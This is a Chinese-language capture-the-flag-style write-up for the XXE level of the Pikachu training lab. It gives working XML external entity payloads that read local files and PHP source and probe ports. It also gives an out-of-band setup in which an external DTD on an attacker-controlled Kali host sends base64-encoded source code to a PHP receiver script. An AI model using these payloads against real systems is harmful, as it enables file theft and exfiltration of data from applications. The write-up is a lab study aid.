Pikachu-xxe过关笔记
这一关包含了xxe漏洞,可以练习使用不同注入方法过关
有回显
探测是否有回显
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe "chuan" > ]>
<foo>&xxe;</foo>
file:///协议查看本地系统文件
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" > ]>
<foo>&xxe;</foo>
php://协议查看php源代码(无法查看当前网页代码,只能看别的)
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=d:/phpstudy_pro/WWW/pikachu-master/vul/rce/rce.php" > ]>
<foo>&xxe;</foo>
http://协议爆破开放端口(两者的加载时间不同)
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://127.0.0.1:80" > ]>
<foo>&xxe;</foo>
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://127.0.0.1:81" > ]>
<foo>&xxe;</foo>
无回显
讲讲思路先吧。
虽然它有回显,但我们假装无回显好吧(懒得改代码了),所以就不能像上述操作一样直接从页面中看到返回的结果。
因此我们要转变下思路,既然无法直接看见结果,那我们就让目标网站主动将结果发给我们,然后我们就可以接收网站的传参,最后获取结果。
思路有了,那么该如何实现呢?
第一步先在输入框里传入xml代码,使得网站主动访问我们的payload;
第二步在payload里写入获取目标信息,以及发送信息的代码
第三步就是在我们自己的网站上新建一个接收信息的文件,等待目标网站主动给我们发信息就o了
思路讲完了,接下来是代码时间~
第一步
在输入框里传入xml代码,使得192.168.181.1主动访问192.168.181.129网站上的外部实体dtd文件(两种写法,结果一样一样的)
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % dtd SYSTEM "http://192.168.181.129/test.dtd">
%dtd;
%print;
%send;
]>
<?xml version = "1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=php://filter/convert.base64-encode/resource=d:/phpstudy_pro/WWW/index.php">
<!ENTITY % dtd SYSTEM "http://192.168.181.129/test1.dtd">
%dtd;
%payload;
%send;
]>
第二步
将写有payload的dtd文件写入kali网站目录,能访问到就行
以下是两种dtd文件写法,分别对应以上两种不同的xml提交代码(也是写法上有一丢丢不同,原理一样)
都是将查找到的php源码信息进行base64编码后作为参数传入data中
以下是我找的相关资料
test.dtd
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=d:/phpstudy_pro/WWW/index.php">
<!ENTITY % print "<!ENTITY % send SYSTEM 'http://192.168.181.129/recive.php?data=%file;'>">
test1.dtd
<!ENTITY % payload
"<!ENTITY % send SYSTEM
'http://192.168.181.129/recive.php?data=%file;'>
第三步
下面是用于接受发送数据的recive.php,也是写入kali机的网站。因为dtd文件使用get方法传参,所以只需要接受GET参数并保存到get_data.txt里面就好了。
<?php
// 检查请求方法是否为POST
if ($_SERVER["REQUEST_METHOD"] == "GET") {
// 获取POST请求的数据
$postData = $_GET['data']; // 'data'是GET请求中的字段名,可以根据需要修改
// 如果数据非空,将其保存到文件
if (!empty($postData)) {
$fileName = "get_data.txt"; // 文件名,可以根据需要修改
$file = fopen($fileName, "a"); // 打开文件,以追加模式写入
if ($file) {
fwrite($file, $postData . "\n"); // 写入数据
fclose($file); // 关闭文件
echo "数据保存成功!";
} else {
echo "无法打开文件进行写入。";
}
} else {
echo "未收到有效数据。";
}
} else {
echo "只接受GET请求。";
}
运行结果
代码到这就结束了,下面是运行截图
就是不知道为啥这里一直显示失败,但我的确又是得到最终结果了=_=,不管了
kali网站路径下成功得到了一个get_data.txt文件,里面是index.php源码的base64编码,直接解码一下就好了
以下是我用wireshark抓包抓来的,可以看见物理机和kali之间互相请求了两个来回才完成这次攻击,下面我简要记录一下请求的内容
第一次请求没啥好看的,就是把kali把装有xml代码的数据包发给物理机
第二次请求,物理机解析了xml代码后主动访问kali网站上的test.dtd文件
第三次请求,kali向物理机传入payload
第四次请求,物理机解析dtd文件后将结果放入data参数中传给kali
很清晰的过程
o了 : )